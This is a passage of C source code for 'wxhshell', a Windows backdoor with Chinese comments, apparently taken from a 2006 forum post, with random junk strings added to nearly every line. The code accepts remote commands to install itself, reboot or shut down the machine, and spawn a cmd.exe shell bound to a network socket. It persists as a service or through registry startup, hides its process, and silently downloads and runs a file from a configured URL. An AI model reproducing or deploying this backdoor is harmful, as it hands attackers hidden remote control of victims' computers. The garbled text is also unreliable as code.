  91UC>]}H  
  // 帮助 $\L=RU!c}  
  case '?': { j07b!j:"\}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); } a!HbH  
    break; ->W rBO  
  } [f?x ,W~  
  // 安装 0y%s\,PsT  
  case 'i': { mcWN.  
    if(Install()) b@B\2BT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j rg B56LL  
    else OpmPw4?}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I.p"8I;  
    break; 1 0tt':  
    } ~JB4s%&  
  // 卸载 / }(\P@Z  
  case 'r': { I=;=;-  
    if(Uninstall()) ufN`=IJ%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < Q6  
    else b<BkI""b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eIbz`|%3  
    break; 8COGe=+o  
    } W{t- UK   
  // 显示 wxhshell 所在路径 ^ R3g7 DG  
  case 'p': { TlC? ?#  
    char svExeFile[MAX_PATH]; ,D'bIk  
    strcpy(svExeFile,"\n\r"); @DlN;r ?Cv  
      strcat(svExeFile,ExeFile); '\P+Bu]6&  
        send(wsh,svExeFile,strlen(svExeFile),0); [6%y RQ_  
    break; 0+k=gO  
    } vkLyGb7r<  
  // 重启 +< )H2  
  case 'b': { gyob q'o-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Dk}txw}#  
    if(Boot(REBOOT)) 5KW n>n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@$W]o"A  
    else { L"}2Y3  
    closesocket(wsh); S^r[%l<'n  
    ExitThread(0); .]/k#Hv  
    } W,.Exh  
    break; c#a>> V  
    } (]$&.gE.F  
  // 关机 +u3vKzD  
  case 'd': { pz]KUQ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @1V?94T1  
    if(Boot(SHUTDOWN)) }BiA@n,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Yji34eDZ  
    else { Lt {&v ^y  
    closesocket(wsh); JQSczE3  
    ExitThread(0); O*9d[jw[  
    } IW=%2n(<1  
    break; &7KX`%K"D  
    } ~uuM0POo  
  // 获取shell j#9n.i %h  
  case 's': { z=TuUl@  
    CmdShell(wsh); v&xhS yZ  
    closesocket(wsh); zI_pP?4;.q  
    ExitThread(0); SA~oGgk=P  
    break; ]C>h_,EZc  
  } nz Klue  
  // 退出 j^D/ ,SW  
  case 'x': { 7 ;x to =  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QPW+L*2  
    CloseIt(wsh); sbV_h;<  
    break; =9A!5  
    } 4qyPjAG  
  // 离开 L]=LY  
  case 'q': { Z )X(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "S psSQ  
    closesocket(wsh); 6}:(m#+  
    WSACleanup(); q ;e/gP2  
    exit(1); @Dd3mWKq  
    break; 1+Bj` ACP  
        } WISeP\:^  
  } *-s':('R  
  } +`TwBN,kp-  
p9eTrFDy?  
  // 提示信息 \ZC0bHsA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hho\e 8  
} /re0"!0y  
  } Jg@eGs\*  
ORt)sn&~d  
  return; Fb^,%K:  
} 8CRwHDB  
F ZfhiIf  
// shell模块句柄 ^Fwdi#g  
int CmdShell(SOCKET sock) `12Y2W 9  
{ D`PA@t  
STARTUPINFO si; LP} j0)n  
ZeroMemory(&si,sizeof(si)); VB~Do?]*k%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3MoVIf1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yXro6u?rC  
PROCESS_INFORMATION ProcessInfo; r?WOum  
char cmdline[]="cmd"; UL3u2g;d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e_llW(*l8^  
  return 0; #G("Oh  
} HCaEETk5  
B`|H }KU  
// 自身启动模式 *4g:V;L  
int StartFromService(void) @Cl1G  
{ k'K 1zUBj  
typedef struct }Q_ }c9?  
{ ;uqi  
  DWORD ExitStatus; - S%8  
  DWORD PebBaseAddress; { ?]&P  
  DWORD AffinityMask; q`@8  
  DWORD BasePriority; e it%U  
  ULONG UniqueProcessId; f:h<tlob  
  ULONG InheritedFromUniqueProcessId; !3Q^oR  
}   PROCESS_BASIC_INFORMATION; 5I0j>{U&  
3NrWt2?  
PROCNTQSIP NtQueryInformationProcess; i",oPz7  
( Uk\O`)m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zmU>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cnM`ywKW  
^ ]SU (kY  
  HANDLE             hProcess; :Q>{Y  
  PROCESS_BASIC_INFORMATION pbi; ]dnB ,  
;})s o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &MGM9 zm-]  
  if(NULL == hInst ) return 0; g;!,2,De}  
L_fiE3G|>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X1GM\*BE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v;IuB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ai5D[ykX  
s@|TQ9e |j  
  if (!NtQueryInformationProcess) return 0; RGLi#:0_.x  
c 4L++ u#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {(^%2dk83C  
  if(!hProcess) return 0; |3 v+&eVi  
3NgyF[c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +'9eo%3O  
>~\CiV4^  
  CloseHandle(hProcess); <O]B'Wc [  
IHj9n>c)[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r~T3Ieb  
if(hProcess==NULL) return 0; 41\V;yib  
1lf]}V  
HMODULE hMod; {_]<mwd  
char procName[255]; YMn_9s7<  
unsigned long cbNeeded; Yx<wYzD  
m/NXifi8l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {iVmae  
xu* dPG)v  
  CloseHandle(hProcess); "$|ne[b2  
1'9YY")#  
if(strstr(procName,"services")) return 1; // 以服务启动 4z!(!J )  
q@Sj$  
  return 0; // 注册表启动 yx/.4DW1Ua  
} D,, x<JG|  
-P=Hp/ELi  
// 主模块 9E]7Etfw  
int StartWxhshell(LPSTR lpCmdLine) NU!B|l  
{ "9!CsloWhz  
  SOCKET wsl; Z+C&?K  
BOOL val=TRUE; GsC4ty  
  int port=0; ri1:q.:I]  
  struct sockaddr_in door; TS;?>J-  
^|=3sJ4[U  
  if(wscfg.ws_autoins) Install(); 3Uni{Z]Q)  
fnudu0k  
port=atoi(lpCmdLine); |%5nV=&\  
$rz'Ybs  
if(port<=0) port=wscfg.ws_port; hOIk6}r4X  
)n17}Qm`V  
  WSADATA data; 7|q _JdKoU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O@? *5  
#nJ&`woZt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ixv/xI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -gb'DN1BG  
  door.sin_family = AF_INET; T>pz?e^5&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !<j)D_  
  door.sin_port = htons(port); '1Q [&  
pn4~?Aua0/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /&G )IY]g  
closesocket(wsl); Fx'E"d  
return 1; XGMO~8 3  
} ,SSq4  
R%^AW2   
  if(listen(wsl,2) == INVALID_SOCKET) { S#^-VZ~U4x  
closesocket(wsl); LkIbvJCV  
return 1; [5QbE$  
} -O?&+xIK&  
  Wxhshell(wsl); J1{ucFa  
  WSACleanup(); >X-*Hu'U#  
^ l9NF  
return 0; '.d]n(/lZd  
%& b70]S(  
} QLe<).S1B2  
:]^FTnO  
// 以NT服务方式启动 8S7 YVsDz"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ouR(l;  
{ gPg2Ve0Qy  
DWORD   status = 0; nW `EBs  
  DWORD   specificError = 0xfffffff; # dxS QmG  
txXt<]N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9EKc{1 z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6`;+|H<$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HVK./y qy  
  serviceStatus.dwWin32ExitCode     = 0; :_"%o=  
  serviceStatus.dwServiceSpecificExitCode = 0; |!H@{o  
  serviceStatus.dwCheckPoint       = 0; }?XNA.Wz  
  serviceStatus.dwWaitHint       = 0; n 0CS =  
r&c31k]E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z7Xic5PI{4  
  if (hServiceStatusHandle==0) return; ~Y'j8W  
YR}By;Bq  
status = GetLastError(); L% ?3VW  
  if (status!=NO_ERROR) 9V( esveq  
{ ?br4 wl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; [u}2xsSx  
    serviceStatus.dwCheckPoint       = 0; &%`Y>\@f  
    serviceStatus.dwWaitHint       = 0; /f) #CR0$  
    serviceStatus.dwWin32ExitCode     = status; It3.  
    serviceStatus.dwServiceSpecificExitCode = specificError; mY !LGN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MJ0UZxnl  
    return; (YH/#n1"{  
  } (GI]Uyn  
Y+'522er  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g?d*cwtU  
  serviceStatus.dwCheckPoint       = 0; zCdzxb_h"  
  serviceStatus.dwWaitHint       = 0; >gLLr1L\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f6zS_y9gn  
} 26<Wg7/,  
W;@9x1jK X  
// 处理NT服务事件,比如:启动、停止 ,=Fn6'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?sm@lDZ\  
{ S2*ER  
switch(fdwControl) auT'ATW7i  
{ yCOIv!/zy  
case SERVICE_CONTROL_STOP: s;4r)9Uvx  
  serviceStatus.dwWin32ExitCode = 0; VPqMbr"L[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zS+_6s  
  serviceStatus.dwCheckPoint   = 0; R x.]m0  
  serviceStatus.dwWaitHint     = 0; {f<\`  
  {  @M E .  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N_Y*Z`Xb  
  } /l@h[}g+d-  
  return; 2>!? EIE7  
case SERVICE_CONTROL_PAUSE: U?d4 ^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y94/tjt  
  break; &33.mdBH  
case SERVICE_CONTROL_CONTINUE: s55t>t,g6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wz(D }N5  
  break; ~M4@hG!  
case SERVICE_CONTROL_INTERROGATE: uepL"%.@7|  
  break; ]h6mJ{k  
}; T11;LSD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K0Zq )<  
} ;&%G)f  
r(::3TF%#q  
// 标准应用程序主函数 --9Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Nu%:7  
{ .A2u7*h&  
'N?t=A  
// 获取操作系统版本 3@7<e~f  
OsIsNt=GetOsVer(); -d8||X[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r06M.r   
0{ ;[k  
  // 从命令行安装 +\O[)\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Udh!%QP%[w  
bhb*,iWA  
  // 下载执行文件 !(wH}ti  
if(wscfg.ws_downexe) { 11Hf)]M   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tSvklI  
  WinExec(wscfg.ws_filenam,SW_HIDE); U.B=%S  
} {k}EWV  
j$8i!C  
if(!OsIsNt) { f YuM`O  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^sjL@.'m$N  
HideProc(); L!]~ J?)  
StartWxhshell(lpCmdLine); pt!Q%rXm  
} 3]9twfF 'J  
else Jqt&TqX@s  
  if(StartFromService()) >`@yh-'r  
  // 以服务方式启动 fx783  
  StartServiceCtrlDispatcher(DispatchTable); 6Q6l?!|W4  
else b88Zk*  
  // 普通方式启动 |_P-  
  StartWxhshell(lpCmdLine); .V\ M/q\Tv  
!dW77kLTg  
return 0; Hw"UJP  
}
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只看该作者 1 发表于: 2006-10-10
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